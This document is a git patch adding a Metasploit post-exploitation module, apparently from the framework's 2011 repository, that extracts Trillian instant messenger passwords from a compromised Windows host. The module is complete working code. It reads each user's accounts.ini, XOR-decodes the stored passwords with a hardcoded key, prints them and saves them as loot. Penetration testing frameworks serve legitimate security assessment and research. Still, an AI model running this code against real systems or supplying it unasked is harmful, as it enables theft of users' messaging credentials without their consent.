From 625f8c8591ee2075cef6b9bc48a1877bf70a8c95 Mon Sep 17 00:00:00 2001
From: Wei Chen <Wei_Chen@rapid7.com>
Date: Fri, 29 Jul 2011 02:14:59 +0000
Subject: [PATCH] Add Trillian Instant Messenger password decoder (post module)

git-svn-id: file:///home/svn/framework3/trunk@13400 4d416f70-5f16-0410-b530-b9f4589650da
---
 .../post/windows/gather/enum_trillian_pwds.rb | 118 ++++++++++++++++++
 1 file changed, 118 insertions(+)
 create mode 100644 modules/post/windows/gather/enum_trillian_pwds.rb

diff --git a/modules/post/windows/gather/enum_trillian_pwds.rb b/modules/post/windows/gather/enum_trillian_pwds.rb
new file mode 100644
index 0000000000..adc4549618
--- /dev/null
+++ b/modules/post/windows/gather/enum_trillian_pwds.rb
@@ -0,0 +1,118 @@
+##
+#$Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+require 'msf/core'
+require 'rex'
+require 'rex/parser/ini'
+require 'base64'
+require 'msf/core/post/windows/user_profiles'
+
+class Metasploit3 < Msf::Post
+
+	include Msf::Post::Windows::Registry
+	include Msf::Auxiliary::Report
+	include Msf::Post::Windows::UserProfiles
+
+	def initialize(info={})
+		super(update_info(info,
+			'Name' => 'Trillian Password Extractor',
+			'Description' => %q{
+				This module extracts account password from Trillian & Trillian Astra
+				v4.x-5.x instant messenger.
+			},
+			'License' => MSF_LICENSE,
+			'Author' =>
+				[
+					'Sil3ntDre4m <sil3ntdre4m[at]gmail.com>',
+					'SecurityXploded Team',  #www.SecurityXploded.com
+				],
+			'Version' => '$Revision$',
+			'Platform' => [ 'windows' ],
+			'SessionTypes' => [ 'meterpreter' ]
+		))
+	end
+
+	def run
+		grab_user_profiles().each do |user|
+			accounts = user['AppData'] + "\\Trillian\\users\\global\\accounts.ini"
+			next if user['AppData'] == nil
+			next if accounts.empty?
+			stat = session.fs.file.stat(accounts) rescue nil
+			next if stat.nil?
+			get_ini(accounts)
+		end
+	end
+
+	def get_ini(file)
+		begin
+			config = client.fs.file.new(file,'r')
+			parse = config.read
+			ini = Rex::Parser::Ini.from_s(parse)
+
+			if ini == {}
+				print_error("Unable to parse file")
+				return
+			end
+
+			creds = Rex::Ui::Text::Table.new(
+				'Header'  => 'Trillian versions 4-5 Instant Messenger Credentials',
+				'Ident'	=> 1,
+				'Columns' =>
+				[
+					'User',
+					'Password'
+				]
+			)
+
+			ini.each_key do |group|
+				username = ini[group]['Account']
+				epass = ini[group]['Password']
+				next if epass == nil or epass == ""
+				passwd = decrypt(epass).chop
+				print_good("User: #{username}  Password: #{passwd}")
+				creds << [username, passwd]
+			end
+
+			print_status("Storing data...")
+			path = store_loot(
+				'trillian.user.creds',
+				'text/plain',
+				session,
+				creds,
+				'trillian_user_creds.txt',
+				'Trillian Instant Messenger User Credentials'
+				)
+
+			print_status("Trillian Instant Messenger user credentials saved in: #{path}")
+
+		rescue ::Exception => e
+			print_error("An error has occured: #{e.to_s}")
+		end
+	end
+
+	def decrypt (epass)
+		magicarr = [243, 38, 129, 196, 57, 134, 219, 146, 113, 163, 185, 230, 83,
+		122, 149, 124, 0, 0, 0, 0, 0, 0, 255, 0, 0, 128, 0, 0, 0, 128, 128, 0,
+		255, 0, 0, 0, 128, 0, 128, 0, 128, 128, 0, 0, 0, 128, 255, 0, 128, 0,
+		255, 0, 128, 128, 128, 0, 85, 110, 97, 98, 108, 101, 32, 116, 111, 32,
+		114, 101, 115, 111, 108, 118, 101, 32, 72, 84, 84, 80, 32, 112, 114, 111,
+		120, 0]
+
+		decpass = Base64.decode64(epass)
+		plaintext = [decpass].pack("H*").unpack("C*")
+
+		for i in 0 .. plaintext.length-2 do
+			plaintext[i] ^= magicarr[i]
+		end
+
+		return plaintext.pack("C*")
+	end
+end